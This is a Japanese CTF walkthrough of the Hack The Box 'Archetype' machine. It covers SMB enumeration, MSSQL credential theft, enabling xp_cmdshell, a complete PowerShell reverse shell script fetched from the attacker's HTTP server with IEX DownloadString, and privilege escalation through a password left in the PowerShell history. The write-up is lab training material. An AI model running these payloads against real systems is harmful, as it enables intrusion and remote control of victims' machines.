Hack The BoxのArchetypeに挑戦しました。なお私はHackTheBoxのPwnBoxを使用しているので、所々勝手が違う箇所があります。参考にする場合はその点に気を付けて下さい。
まずnmap用いてターゲットでサービスを調べます。ちなみに
-sC[デフォルトスクリプト] -sV[バージョンを検出する] オプションを使用しています。
msrpc・netbios_ssn・microsoft-ds・ms-sqlが稼働しています。それぞれファイル共有システム(SMB)、SQLサーバーのようです。
次にSMBにどんなフォルダがあるかを調べてみます。ちなみに
-L[サービス一覧] オプションです。-Nは本来この段階ではつける必要はありません。
ADMIN$・backup・C$・IPC$のフォルダが存在し、backupsにアクセスできるようです。smbclient \\\\10.10.10.27\\backupsでアクセスするとパスワードが求められますが、パスワードが設定されていない場合があります。試しにそのままEnterしてみると無事入ることができました。(今回のようにパスワードが不要である場合、-Nオプションを使えばパスワード入力をスキップできます)
まずlsしてみるとprod.configファイルがあるのが分かります(smbclientのコマンドはhelpで確認できます)。このファイルをgetで入手して中身を見てみましょう。
画像下から4行目にPasswordとUserIDがあります。UserIDにsql_svcとあるように、どうやらms-sqlサーバーのIDですね。
mssqlサーバーに入るにはpowershellを使用するか、Linuxであればimpacketというwindowsネットワークプロトコルを扱うpythonクラスがあります。私が使っているpwnboxにはデフォルトで入っていますが、もし自身が使っているVMに入っていない場合はimpacketからダウンロードしてください。
公式のwalkthroughではimpacketのmssqlclient.pyを使用しています。使用方法は
mssqlclient.py [ domain/ ] username [:password] @ <ターゲット名 or IP>
(で囲った箇所はなくてもOKです)。今回の場合
python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
となります。またオプションとして以下を使用します。
-windows-auth Windows認証をするかどうか(デフォルトはFalse)
impacketについて詳しく知りたい場合は下記サイトがおすすめです。
まず権限を確認してみましょう。SQLサーバーなのでSQLのIS_SRVROLEMEMBER関数を使用して権限を確認します。
SELECT IS_SRVROLEMEMBER('sysadmin')
で確認することができます。
IS_SRVROLEMEMBER関数は0,1,NULLのいずれかを返し、1であれば権限を持っているという意味です。上記の結果からsqlサーバーにおいてadmin権限を持っていることがわかります。admin権限であればxp_cmdshellを使用してpowershellコマンドを入力することができます。
今回xp_cmdshellはそのまま使用できましたが、設定によってはできない場合があります。その場合、
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
でxp_cmdshellを使用できます。
次にxp_cmdshellを利用してwhoamiしてみると
ターゲットのroot権限ではないことがわかりました。リバースシェルで接続する必要があります。今回はリバースシェルスクリプトを自分のhttpサーバーからダウンロードさせ、スクリプトを実行する方法でやってみます。
まずリバースシェルのスクリプトを作る必要があります。下記のshell.ps1スクリプトを作成し、デスクトップではなく Home/<User> >のフォルダに入れてください。
shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("<自分のIP>",<ポート>);$stream = $client.GetStream();[byte]$bytes = 0..65535|%{0};while*1 -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
ちなみにスクリプトの詳細やwindowsのリバースシェルは下記サイトが詳しいです。
www.labofapenetrationtester.com
スクリプトを作成した後pythonでHTTPサーバーを立ち上げます。私の場合ポート80
がすでに使用されていたのでポート8000を利用しました。
python3 -m http.server 8000
LIstening on 0.0.0.0 port の表示が出たら成功です。そのままつなげておきましょう。次に先ほどのスクリプトで指定したポートでターゲットからの接続を待ちます。
sudo nc -lvnp 443
最後にファイアウォールの設定をします。ufwで設定したポートであるhttpサーバー(8000)とncのポート(443)での接続を許可します。これがないと接続できない場合があります。
sudo ufw allow from 10.10.10.27 proto tcp to any port 443,8000
準備ができたらターゲットのmssqlサーバーで
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.7:8000/shell.ps1\");"
を実行します(ポート80でhttpサーバーを立ちあげる場合ポート部分は不要)。下図がこれらを実行する前と後の様子です。
左がターゲットのmssqlサーバー、右上がリバースシェル、右下がhttpサーバー
成功すると
このようになります。まずはuser.txtを確保しましょう。user.txtはデスクトップにあります。
type user.txtでファイルの中身を見ることができます。
次に特権昇格をしてroot.txtを狙います。
このサイトを参考にpowershellの履歴を見てみましょう。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
これを実行すると
rootユーザーのパスワードが手に入りました。先ほどのimpacketにあるpsexec.py(シェルを利用できるpythonクラス)とこのパスワードを利用してアクセスしてみましょう。
psexec.py <ユーザー名>@windowsのIP (パスワード入力は後)
無事アクセスすることができました。user.txtと同じ要領でAdministratorのDesktopからroot.txtを入手できます。
*1:$i = $stream.Read($bytes, 0, $bytes.Length